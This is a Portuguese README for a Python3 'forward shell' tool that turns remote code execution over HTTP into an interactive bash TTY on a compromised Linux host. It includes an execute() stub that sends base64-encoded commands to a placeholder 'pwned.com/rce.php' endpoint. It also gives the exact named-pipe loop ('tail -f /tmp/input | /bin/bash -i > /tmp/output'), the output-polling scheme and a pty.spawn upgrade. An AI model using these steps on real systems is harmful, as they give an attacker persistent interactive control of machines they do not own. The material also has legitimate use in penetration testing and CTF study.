
Minha implementação em python3 de um Forward Shell
FShell é a minha implementação de um Forward Shell. Foi projetado para obter um tty interativo usando execução remota de código através de um protocolo sem estado (ex: HTTP).
No entanto, também tem desvantagens
A frequência das requisições pode ser alterada modificando a variável BEACONING_DELAY.
Python3 e bibliotecas:
Apenas Linux é suportado neste momento e são necessários comandos/ferramentas básicas no sistema remoto:
Modifique a variável WRITABLE_FOLDER se /tmp não estiver disponível para escrita ou se você tiver algo melhor (prefira /dev/shm)
Você deve redefinir a função execute para realizar sua execução remota de código:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Comando shell bruto para executar no sistema remoto
:timetout OBRIGATÓRIO: Usado para matar o loop de execução bloqueante (usado na criação do named pipe).
Se não puder, coloque a criação do named pipe em uma thread separada
:verbose Imprime o comando completo executado no sistema remoto (modo Debug)
"""
# Coloque seu código de RCE aqui
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # Você pode aplicar formatação se a saída não for apenas a saída do comando

Os conceitos são bem simples.
Primeiro você precisa criar um named pipe no sistema remoto.
Ele será usado para enviar comandos para o shell
mkfifo /tmp/input.
Depois, crie um loop bash que lê o named pipe constantemente e o envia para um processo bash interativo que envia stdin e stderr para um arquivo de saída.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[Lendo o named pipe] -> [Executa o conteúdo do named pipe] -> [Envia stdin/stderr para o arquivo de saída] -> [Volta a ler o named pipe por causa da opção '-f' do tail]
A próxima parte é iniciar uma thread python que executa cat /tmp/output regularmente para obter a saída do shell.
Se a thread encontrar dados, ela limpará o conteúdo do arquivo de saída usando echo '' > /tmp/output
Dica: Para evitar erros de log por causa de um arquivo inexistente, o script executa o comando 'id' antes de iniciar a thread 'GetOutput' para criar o arquivo de saída.
Uma das últimas etapas é obter a entrada do usuário no nosso script python e enviá-la para o named pipeecho USERCMD > /tmp/input
E o último truque para obter um tty interativo remoto é o comando 'upgrade_shell'.
Esse comando executa um python -c 'import pty;pty.spawn("/bin/bash")' (e alguns exports e aliases) para gerar um tty real para o processo atual (usado no loop do named pipe)
Agradecimentos ao @ippsec, eu não sabia que algo assim era possível antes de assistir estes vídeos Stratosphere HTB Write Up !
Espero que você aproveite!